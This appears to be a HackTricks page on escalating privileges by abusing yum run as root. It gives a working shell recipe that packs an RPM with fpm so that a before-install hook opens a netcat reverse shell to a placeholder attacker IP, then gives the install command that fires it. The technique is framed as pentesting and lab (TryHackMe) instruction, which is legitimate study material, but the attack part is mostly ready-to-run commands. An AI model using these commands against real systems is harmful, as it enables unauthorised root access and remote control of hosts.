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Further examples around yum can also be found on gtfobins.
Executing arbitrary commands via RPM Packages
Checking the Environment
In order to leverage this vector the user must be able to execute yum commands as a higher privileged user, i.e. root.
A working example of this vector
A working example of this exploit can be found in the daily bugle room on tryhackme.
Packing an RPM
In the following section, I will cover packaging a reverse shell into an RPM using fpm.
The example below creates a package that includes a before-install trigger with an arbitrary script that can be defined by the attacker. When installed, this package will execute the arbitrary command. I've used a simple reverse netcat shell example for demonstration but this can be changed as necessary.
EXPLOITDIR=$(mktemp -d)
CMD='nc -e /bin/bash <ATTACKER IP> <PORT>'
RPMNAME="exploited"
echo $CMD > $EXPLOITDIR/beforeinstall.sh
fpm -n $RPMNAME -s dir -t rpm -a all --before-install $EXPLOITDIR/beforeinstall.sh $EXPLOITDIR
Catching a shell
Using the above example and assuming yum can be executed as a higher-privileged user.
- Transfer the rpm to the host
- Start a listener on your local host such as the example netcat listener
- Install the vulnerable package
yum localinstall -y exploited-1.0-1.noarch.rpm
Support HackTricks and get benefits!
Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
Discover The PEASS Family, our collection of exclusive NFTs
Get the official PEASS & HackTricks swag
Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
Share your hacking tricks submitting PRs to the hacktricks github repo.